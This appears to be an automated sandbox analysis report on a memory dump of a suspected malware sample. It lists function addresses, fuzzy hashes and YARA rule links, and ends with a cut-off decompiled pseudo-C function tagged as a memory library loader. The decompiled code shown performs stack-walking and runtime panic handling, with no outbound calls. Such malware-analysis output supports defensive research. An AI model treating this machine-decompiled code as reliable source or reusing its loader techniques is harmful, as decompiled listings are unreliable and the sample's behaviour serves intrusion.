Uniqueness

Uniqueness Score: -1.00%

Function 00FA40E2, Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

Ln, xrefs: 00FA425B

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Ln
API String ID: 0-1123670491
Opcode ID: dd2da08f9e83d29820bd4bd688dc529d831e97655c7f86e625ba1f7cff2451ac
Instruction ID: 081e443e07291f30b8e61f7a34f17cca1d91c4963d8eb4ca016fe7f83b145898
Opcode Fuzzy Hash: dd2da08f9e83d29820bd4bd688dc529d831e97655c7f86e625ba1f7cff2451ac
Instruction Fuzzy Hash: FB7135B25083409FC394CF66C88A81BBBF1BBC9758F408A1CF99A56260D3B5D909CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00FA358B, Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

xmK, xrefs: 00FA36A7

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: xmK
API String ID: 0-2499702024
Opcode ID: e5cee715ce3799c43bd2f33cf69dcbc8517b3b809f9afd3c89dd54b5c35a0ee9
Instruction ID: 763b5dd64d7ba3cc94954bc2716c58bb2946073073d69449d4ce0ee4daa1e6b4
Opcode Fuzzy Hash: e5cee715ce3799c43bd2f33cf69dcbc8517b3b809f9afd3c89dd54b5c35a0ee9
Instruction Fuzzy Hash: C35196B150C346ABC748CF26C98581BFBE6FBC8798F500A0DF19256260D7B1DA49DB93

Uniqueness

Uniqueness Score: -1.00%

Function 00FAFE9D, Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

>.,, xrefs: 00FAFFE1

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: >.,
API String ID: 0-3899356231
Opcode ID: e22320a79923b34a33e1018e8d1cd0f4d680f62fd11c91a1cec30ec3639cd4c3
Instruction ID: 80c6d890e6b11965fe5a9e2e4a2710fb53be156200aea1b3e1f692d5cce159d1
Opcode Fuzzy Hash: e22320a79923b34a33e1018e8d1cd0f4d680f62fd11c91a1cec30ec3639cd4c3
Instruction Fuzzy Hash: 8F514571509341DFC348CF26D94A90BBBE1FBC8758F508A1DF4DAA6220C771EA1A8F46

Uniqueness

Uniqueness Score: -1.00%

Function 00FB62F5, Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

lG&, xrefs: 00FB632F

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: lG&
API String ID: 0-3552163689
Opcode ID: 27db70a23f4f822cbd6f42d8de7376af5ee562709769366d169a5d4c427b5d12
Instruction ID: be1d8a57bfad1097ca5bb4df28c95fbc13b45996d619b0915a6a0b92e6df5937
Opcode Fuzzy Hash: 27db70a23f4f822cbd6f42d8de7376af5ee562709769366d169a5d4c427b5d12
Instruction Fuzzy Hash: 784154B2A083419FC714DF26C84592BBBF1FF89748F10092CF58696210D3B6DA58DF96

Uniqueness

Uniqueness Score: -1.00%

Function 00FBD7BE, Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

.#q, xrefs: 00FBD7DA

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: .#q
API String ID: 0-1413055539
Opcode ID: 21dad18e37088f1790ee5c388c0dec01ab12bc0e4e1ecbd9b3f78cbce5f14838
Instruction ID: 871d0e79329050cd5b1034008b8e9c4d625a5738b9e75ac0360ecfeb15215c01
Opcode Fuzzy Hash: 21dad18e37088f1790ee5c388c0dec01ab12bc0e4e1ecbd9b3f78cbce5f14838
Instruction Fuzzy Hash: B041CC725083028BC708EF16D88556BFBE2FBD4758F100A2DF58696251E774DA48EF83

Uniqueness

Uniqueness Score: -1.00%

Function 00FA4B81, Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

, xrefs: 00FA4C5A

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-2740779761
Opcode ID: 2583b2e681538ba774d54878540d3d5e27670afb98d65ccb76e1b5f6369f190b
Instruction ID: 28ae6c6703304b58e2e32a8032a4d641f8bc245b388f56b003c5b9e4dd96d70f
Opcode Fuzzy Hash: 2583b2e681538ba774d54878540d3d5e27670afb98d65ccb76e1b5f6369f190b
Instruction Fuzzy Hash: CA4136B2D0121DEFDF48CFE5C84A9EEBBB5FB44314F208189E510BA160E3B55A448F94

Uniqueness

Uniqueness Score: -1.00%

Function 00FB56E9, Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

{5H, xrefs: 00FB57AE

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: {5H
API String ID: 0-2111002039
Opcode ID: 80b95965e388f351ea382bcef8fc715d8cc87b2dfd1519f2d91d7977e42f6dd6
Instruction ID: abe2a7ccc036971c75c447dd76680680ac95291c9fd9b56865536f03f6ec63d5
Opcode Fuzzy Hash: 80b95965e388f351ea382bcef8fc715d8cc87b2dfd1519f2d91d7977e42f6dd6
Instruction Fuzzy Hash: 624123B5D0020DABCF04DFE5C88A8EEBBB5FB48314F208159E911B6260D3B95A55DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00FA387F, Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

F*, xrefs: 00FA38D3

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: F*
API String ID: 0-1010906026
Opcode ID: c1e9306e473ed8024b7aecb87229ffce444de190ddcd1060875ed32e6c75c0ad
Instruction ID: 98d4acdc7ba91f87b7e5038774ff7ee977294aa7205216f3b2166fef5e637ce6
Opcode Fuzzy Hash: c1e9306e473ed8024b7aecb87229ffce444de190ddcd1060875ed32e6c75c0ad
Instruction Fuzzy Hash: 50318672A093418FC304DF29C98584BFBE0FB88718F040B6CF889A7211C774EA09CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00FA3432, Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

? 7, xrefs: 00FA34CB

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ? 7
API String ID: 0-753378918
Opcode ID: ccef6d168c0bcb7b65ad1028735a4f14b318d61ec9ca826cfe835b05fc1a8f41
Instruction ID: a7e84a232899e5bb6412cfeffa4541616d9c4ee272fbdc366254a6a6d7504e08
Opcode Fuzzy Hash: ccef6d168c0bcb7b65ad1028735a4f14b318d61ec9ca826cfe835b05fc1a8f41
Instruction Fuzzy Hash: 5A41FDB5D0120AEBCF48DFA5CA4A8EEBBB0FB44304F208459E411B7264D3B85B05DF91

Uniqueness

Uniqueness Score: -1.00%

Function 00FA2ADB, Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

~g, xrefs: 00FA2AEA

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ~g
API String ID: 0-1113810430
Opcode ID: f5d90ddcdcfed4a47525a69d32043f593e06fd56dd77a9e3a1dcd4b2105368b0
Instruction ID: 19ab97dc513d945852164312b9267839abc4f53e399d555e044d455dffdefeb7
Opcode Fuzzy Hash: f5d90ddcdcfed4a47525a69d32043f593e06fd56dd77a9e3a1dcd4b2105368b0
Instruction Fuzzy Hash: AD01E575E01308FBDB08DFE5D98689DFBB5FB44310F20C19AE514AB291EAB92B449F14

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB3A90, Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e73bd7c9db21cf817bdfca8b7dee03204a880754f17cd4a9ed521087541b1a2
Instruction ID: e739a6f1a90e843d5e70f950a734e60b98f423c84804321222ff2af6a1dba00f
Opcode Fuzzy Hash: 5e73bd7c9db21cf817bdfca8b7dee03204a880754f17cd4a9ed521087541b1a2
Instruction Fuzzy Hash: BB02F3B1A187158FD305DF79C49022AB3E2AFDA340F51C72EE886A7254F7B1EC468781

Uniqueness

Uniqueness Score: -1.00%

Function 00FA800A, Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92964679095315db8ab3997cb3941302336751095eb27a17db2a678c49a3d976
Instruction ID: fc47e5cfc2bdd6d1be2da0a0f55f5b2edfa0be00adeccc78f75036a6d91d6b20
Opcode Fuzzy Hash: 92964679095315db8ab3997cb3941302336751095eb27a17db2a678c49a3d976
Instruction Fuzzy Hash: 3EC141B15083819FC354CF26C48995BBFE1FBC9398F109A0DFA9586260D7B58949DF42

Uniqueness

Uniqueness Score: -1.00%

Function 00FA75D2, Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcd4780139018cdfdc0b48cc4ebd783c70dfdf5c4fbb4a90df3cf74f7bc0d132
Instruction ID: 719e82c78bc7ce383aa72c871199a77bf407f39bd75e62ad5f5da0372ce7e6c8
Opcode Fuzzy Hash: fcd4780139018cdfdc0b48cc4ebd783c70dfdf5c4fbb4a90df3cf74f7bc0d132
Instruction Fuzzy Hash: D74173B25083429FC708DF21D94682BBBE5FBC4718F104A2EF596A2261D371DA08DF83

Uniqueness

Uniqueness Score: -1.00%

Function 00FA51EC, Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27bc0dd3af28b2b8866cf3a5b7345e660d1b77f5f934cc889c342029ca7dab82
Instruction ID: 4af58bda0f36e03e9d636e47821c466af29759de1cebe32c2bc3e2123dec1784
Opcode Fuzzy Hash: 27bc0dd3af28b2b8866cf3a5b7345e660d1b77f5f934cc889c342029ca7dab82
Instruction Fuzzy Hash: 12419AB25083069FCB08DE21899542FBBE5FFC4B58F54492DF886A6220D771CA09DF93

Uniqueness

Uniqueness Score: -1.00%

Function 00FB0A93, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e41959f65929b93a0f1c96ce0fe0d93fa509ed92124054879d376e1366409235
Instruction ID: 9ad509a64e1c01b9a1fd2e73bc527dad1c84d5570e4c881ea74664b85b60ffc9
Opcode Fuzzy Hash: e41959f65929b93a0f1c96ce0fe0d93fa509ed92124054879d376e1366409235
Instruction Fuzzy Hash: A8313275C0021DEBCF44DFA5D94A8EEBFB4EB44328F20859AD512A7210C7B48B45DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 00FB282D, Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f3b398f48dae94253601706a75db96206645b053db3457b9ee22facfc9da846
Instruction ID: 462c4440096e5121ccda1b36f1f4a19c57c86512dd8785600c6d012ec6f2ca04
Opcode Fuzzy Hash: 6f3b398f48dae94253601706a75db96206645b053db3457b9ee22facfc9da846
Instruction Fuzzy Hash: 95111672D0020CFBDF09DFA4C90A99EBBB1FB44304F10C099E914AB254D7B6AB65AF40

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC9920, Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4352a27768fb382482cd2115f6a8a5543b37538fb758fa38cbe7adc7ca71d028
Instruction ID: 04bdd4a08f94a9c677829f4927c8670ab661d02537fa2b3e7bfe84eea6dc08cc
Opcode Fuzzy Hash: 4352a27768fb382482cd2115f6a8a5543b37538fb758fa38cbe7adc7ca71d028
Instruction Fuzzy Hash: 4C011932315501CFD758CF98C4A0A6A73EABF49A98F5554A9E416CB765DF30E840CA43

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD02CC, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eb6665ddb3350983e42d1cbc670fa1f7b7e34ee61cedf1b9ad9aa5777005a93
Instruction ID: 0117fe240abb3d5ac995b49afa9ffd0e2f219e4112dccd83fabbdbcf72a48fc6
Opcode Fuzzy Hash: 6eb6665ddb3350983e42d1cbc670fa1f7b7e34ee61cedf1b9ad9aa5777005a93
Instruction Fuzzy Hash: 43E08C72952238EBCB10CBC9CA00A8AFBEDEB88A80B110496B511D3100D270DE08C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCEC0B, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8280ca142bc1b3d81a1ec9e0318d957c7d25c74bfd8627c95e038b2adada9f26
Instruction ID: d6a1ba026e3c2f2bf663853482aca7fd6d2ff05515e37ad322756a447b69e036
Opcode Fuzzy Hash: 8280ca142bc1b3d81a1ec9e0318d957c7d25c74bfd8627c95e038b2adada9f26
Instruction Fuzzy Hash: B9C08CB400290086CE069B50D3723B4336DE3C2BC2F942C8CCC024B681E61FF88BD712

Uniqueness

Uniqueness Score: -1.00%

Function 00FB07D2, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBDEE0, Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 451
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6EDBDEE0(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, long _a8) {
				void* _v16;
				char _v1456;
				void* __ebp;
				void _t191;
				void* _t194;
				long _t195;
				signed int _t200;
				void* _t201;
				void* _t204;
				void* _t205;
				long _t206;
				char _t208;
				void* _t217;
				void* _t218;
				void* _t221;
				void* _t227;
				void* _t229;
				void* _t233;
				void* _t235;
				void* _t241;
				void* _t243;
				void* _t244;
				void* _t246;
				void* _t250;
				void* _t252;
				long _t260;
				long _t262;
				void* _t263;
				void* _t264;
				char _t265;
				void* _t267;
				void* _t274;
				void* _t284;
				void* _t288;
				long _t291;
				WCHAR* _t293;
				void* _t294;
				WCHAR* _t304;
				long _t305;
				void* _t307;
				void* _t308;
				intOrPtr _t310;
				intOrPtr _t313;
				signed int _t315;
				intOrPtr _t317;
				void* _t318;
				void* _t322;
				void* _t324;

				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t317 = (_t315 & 0xfffffff0) - 0x5b0;
				_t310 = _t317;
				 *((intOrPtr*)(_t310 + 0x598)) = _t313;
				 *((intOrPtr*)(_t310 + 0x59c)) = _t317;
				 *(_t310 + 0x5a8) = 0xffffffff;
				 *((intOrPtr*)(_t310 + 0x5a4)) = E6EDC3B90;
				 *((intOrPtr*)(_t310 + 0x5a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t310 + 0x5a0;
				_t191 =  *_a4;
				 *(_t310 + 0x28) = _t191;
				 *(_t310 + 0xe) = _t191;
				E6EDCC310(__edi, _t310 + 0x190, 0, 0x400);
				_t318 = _t317 + 0xc;
				_t194 =  *0x6edfd0bc; // 0x2
				_t262 = 0x200;
				 *(_t310 + 0x24) = 0;
				 *(_t310 + 0x2c) = _t194;
				 *(_t310 + 0x30) = 0;
				 *(_t310 + 0x14) = _t194;
				 *(_t310 + 0x34) = 0;
				 *(_t310 + 0x10) = 0x200;
				if(0x200 >= 0x201) {
					L4:
					_t291 =  *(_t310 + 0x24);
					_t263 = _t262 - _t291;
					__eflags =  *(_t310 + 0x30) - _t291 - _t263;
					if( *(_t310 + 0x30) - _t291 < _t263) {
						 *(_t310 + 0x5a8) = 0;
						_t274 = _t310 + 0x2c;
						E6EDD7370(_t274, _t291, _t263);
						_t318 = _t318 + 4;
						 *(_t310 + 0x14) =  *(_t310 + 0x2c);
					}
					_t262 =  *(_t310 + 0x10);
					_t304 =  *(_t310 + 0x14);
					 *(_t310 + 0x34) = _t262;
					 *(_t310 + 0x24) = _t262;
					 *(_t310 + 0x20) = _t304;
					 *(_t310 + 0x1c) = _t262;
				} else {
					L7:
					_t304 = _t310 + 0x190;
					 *(_t310 + 0x1c) = 0x200;
					 *(_t310 + 0x20) = _t304;
				}
				L8:
				SetLastError(0);
				_t195 = GetCurrentDirectoryW(_t262, _t304);
				_t305 = _t195;
				if(_t195 != 0 || GetLastError() == 0) {
					if(_t305 != _t262 || GetLastError() != 0x7a) {
						__eflags = _t305 -  *(_t310 + 0x10);
						_t262 = _t305;
						if(_t305 <  *(_t310 + 0x10)) {
							_t292 =  *(_t310 + 0x1c);
							 *(_t310 + 0x5a8) = 0;
							__eflags = _t305 -  *(_t310 + 0x1c);
							if(__eflags > 0) {
								E6EDD6DB0(_t262, _t305, _t292, _t305, _t310, __eflags, 0x6edfded0);
								goto L70;
							} else {
								_t293 =  *(_t310 + 0x20);
								_t274 = _t310 + 0x70;
								_push(_t305);
								E6EDC0EC0(_t262, _t274, _t293, _t305, _t310);
								_t318 = _t318 + 4;
								asm("movsd xmm0, [esi+0x70]");
								_t264 = 0;
								 *(_t310 + 0x48) =  *(_t310 + 0x78);
								asm("movsd [esi+0x40], xmm0");
								_t200 =  *(_t310 + 0x30);
								__eflags = _t200;
								if(_t200 != 0) {
									goto L18;
								} else {
								}
								goto L21;
							}
						} else {
							__eflags = _t262 - 0x201;
							 *(_t310 + 0x10) = _t262;
							if(_t262 < 0x201) {
								goto L7;
							} else {
								goto L4;
							}
							goto L8;
						}
					} else {
						_t262 =  *(_t310 + 0x10) +  *(_t310 + 0x10);
						 *(_t310 + 0x10) = _t262;
						if(_t262 >= 0x201) {
							goto L4;
						} else {
							goto L7;
						}
						goto L8;
					}
				} else {
					_t260 = GetLastError();
					_t264 = 1;
					 *(_t310 + 0x44) = _t260;
					 *(_t310 + 0x40) = 0;
					_t200 =  *(_t310 + 0x30);
					__eflags = _t200;
					if(_t200 != 0) {
						L18:
						__eflags =  *(_t310 + 0x14);
						if( *(_t310 + 0x14) != 0) {
							__eflags = _t200 & 0x7fffffff;
							if((_t200 & 0x7fffffff) != 0) {
								HeapFree( *0x6ee0adc8, 0,  *(_t310 + 0x14));
							}
						}
					}
					L21:
					__eflags = _t264;
					if(_t264 == 0) {
						_t201 =  *(_t310 + 0x40);
						_t274 =  *(_t310 + 0x44);
						_t293 =  *(_t310 + 0x48);
						_t265 =  *(_t310 + 0x28);
						 *(_t310 + 0x5a8) = 2;
					} else {
						__eflags =  *(_t310 + 0x40) - 3;
						if( *(_t310 + 0x40) == 3) {
							_t288 =  *(_t310 + 0x44);
							 *(_t310 + 0x10) = _t288;
							 *(_t310 + 0x5a8) = 1;
							 *((intOrPtr*)( *((intOrPtr*)(_t288 + 4))))( *_t288);
							_t318 = _t318 + 4;
							_t250 =  *(_t310 + 0x10);
							_t274 =  *(_t250 + 4);
							__eflags =  *(_t274 + 4);
							if( *(_t274 + 4) != 0) {
								_t252 =  *_t250;
								__eflags =  *((intOrPtr*)(_t274 + 8)) - 9;
								if( *((intOrPtr*)(_t274 + 8)) >= 9) {
									_t252 =  *(_t252 - 4);
								}
								HeapFree( *0x6ee0adc8, 0, _t252);
								_t250 =  *(_t310 + 0x44);
							}
							HeapFree( *0x6ee0adc8, 0, _t250);
						}
						_t265 =  *(_t310 + 0xe);
						_t201 = 0;
						 *(_t310 + 0x5a8) = 2;
					}
					 *((char*)(_t310 + 0x68)) = _t265;
					 *(_t310 + 0x5c) = _t201;
					 *(_t310 + 0x64) = _t293;
					 *(_t310 + 0x60) = _t274;
					 *(_t310 + 0x190) = 0x6edfd5c8;
					 *(_t310 + 0x194) = 1;
					 *(_t310 + 0x198) = 0;
					 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6edfcd60;
					 *(_t310 + 0x1a4) = 0;
					_t294 =  *(_a8 + 0x1c);
					_push(_t310 + 0x190);
					_t204 = E6EDB2320( *((intOrPtr*)(_a8 + 0x18)), _t294);
					_t322 = _t318 + 4;
					__eflags = _t204;
					if(_t204 != 0) {
						L50:
						_t205 =  *(_t310 + 0x5c);
						__eflags = _t205;
						if(_t205 != 0) {
							__eflags =  *(_t310 + 0x60);
							if( *(_t310 + 0x60) != 0) {
								HeapFree( *0x6ee0adc8, 0, _t205);
							}
						}
						_t206 = 1;
						goto L54;
					} else {
						_t208 =  *(_t310 + 0xe);
						 *(_t310 + 0x6c) = 0;
						 *((char*)(_t310 + 0xf)) = 0;
						 *(_t310 + 0x40) = _a8;
						 *(_t310 + 0x44) = 0;
						__eflags = _t208;
						 *((char*)(_t310 + 0x50)) = _t208;
						 *(_t310 + 0x2c) = _t310 + 0xe;
						 *(_t310 + 0x48) = _t310 + 0x5c;
						 *((intOrPtr*)(_t310 + 0x4c)) = 0x6edfd5d0;
						 *(_t310 + 0x1b) = _t208 != 0;
						 *(_t310 + 0x30) = _t310 + 0x6c;
						 *(_t310 + 0x34) = _t310 + 0x1b;
						 *((intOrPtr*)(_t310 + 0x38)) = _t310 + 0xf;
						 *((intOrPtr*)(_t310 + 0x3c)) = _t310 + 0x40;
						 *(_t310 + 0x10) = GetCurrentProcess();
						 *(_t310 + 0x24) = GetCurrentThread();
						_t307 = _t310 + 0x190;
						E6EDCC310(_t307, _t307, 0, 0x2d0);
						_t324 = _t322 + 0xc;
						_push(_t307);
						L6EDC9EEE();
						_t217 = E6EDBE690(_t265, _t307, _t310);
						__eflags = _t217;
						if(_t217 == 0) {
							_t308 =  *0x6ee0ade8; // 0x0
							 *(_t310 + 0x58) = _t294;
							__eflags = _t308;
							if(_t308 == 0) {
								_t218 = GetProcAddress( *0x6ee0add0, "SymFunctionTableAccess64");
								__eflags = _t218;
								if(__eflags == 0) {
									 *(_t310 + 0x5a8) = 3;
									E6EDD6E20(_t265, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6edfe2c0);
									goto L70;
								} else {
									_t308 = _t218;
									 *0x6ee0ade8 = _t218;
									_t267 =  *0x6ee0adec; // 0x0
									__eflags = _t267;
									if(_t267 != 0) {
										goto L41;
									} else {
										goto L39;
									}
								}
							} else {
								_t267 =  *0x6ee0adec; // 0x0
								__eflags = _t267;
								if(_t267 != 0) {
									L41:
									 *(_t310 + 0x20) = GetCurrentProcess();
									_t221 =  *0x6ee0adf8; // 0x0
									 *(_t310 + 0x1c) = _t308;
									 *(_t310 + 0x14) = _t267;
									__eflags = _t221;
									if(_t221 != 0) {
										L44:
										 *(_t310 + 0x28) = _t221;
										 *(_t310 + 0x74) = 0;
										 *(_t310 + 0x70) = 0;
										E6EDCC310(_t308, _t310 + 0x80, 0, 0x10c);
										_t324 = _t324 + 0xc;
										 *(_t310 + 0x7c) = 0;
										 *(_t310 + 0x78) =  *(_t310 + 0x248);
										 *(_t310 + 0x84) = 3;
										 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
										 *(_t310 + 0xac) = 0;
										 *(_t310 + 0xb4) = 3;
										 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
										 *(_t310 + 0x9c) = 0;
										 *(_t310 + 0xa4) = 3;
										while(1) {
											_t227 =  *(_t310 + 0x28)(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0, 0);
											__eflags = _t227 - 1;
											if(_t227 != 1) {
												goto L47;
											}
											 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
											 *(_t310 + 0x5a8) = 3;
											_t235 = E6EDBE890(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
											_t308 =  *(_t310 + 0x1c);
											_t267 =  *(_t310 + 0x14);
											__eflags = _t235;
											if(_t235 != 0) {
												continue;
											}
											goto L47;
										}
										goto L47;
									} else {
										_t221 = GetProcAddress( *0x6ee0add0, "StackWalkEx");
										__eflags = _t221;
										if(_t221 == 0) {
											E6EDCC310(_t308, _t310 + 0x80, 0, 0x100);
											_t324 = _t324 + 0xc;
											 *(_t310 + 0x74) = 0;
											 *(_t310 + 0x70) = 1;
											 *(_t310 + 0x188) = 0;
											 *(_t310 + 0x7c) = 0;
											 *(_t310 + 0x78) =  *(_t310 + 0x248);
											 *(_t310 + 0x84) = 3;
											 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
											 *(_t310 + 0xac) = 0;
											 *(_t310 + 0xb4) = 3;
											 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
											 *(_t310 + 0x9c) = 0;
											 *(_t310 + 0xa4) = 3;
											do {
												_t284 =  *0x6ee0ade4; // 0x0
												__eflags = _t284;
												if(_t284 != 0) {
													L63:
													_t241 =  *_t284(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0);
													__eflags = _t241 - 1;
													if(_t241 != 1) {
														L47:
														ReleaseMutex( *(_t310 + 0x58));
														__eflags =  *((char*)(_t310 + 0xf));
														if( *((char*)(_t310 + 0xf)) != 0) {
															goto L50;
														} else {
															goto L48;
														}
														goto L54;
													} else {
														goto L64;
													}
												} else {
													_t244 = GetProcAddress( *0x6ee0add0, "StackWalk64");
													__eflags = _t244;
													if(__eflags == 0) {
														 *(_t310 + 0x5a8) = 3;
														E6EDD6E20(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6edfe2c0);
														goto L70;
													} else {
														_t284 = _t244;
														 *0x6ee0ade4 = _t244;
														goto L63;
													}
												}
												goto L71;
												L64:
												 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
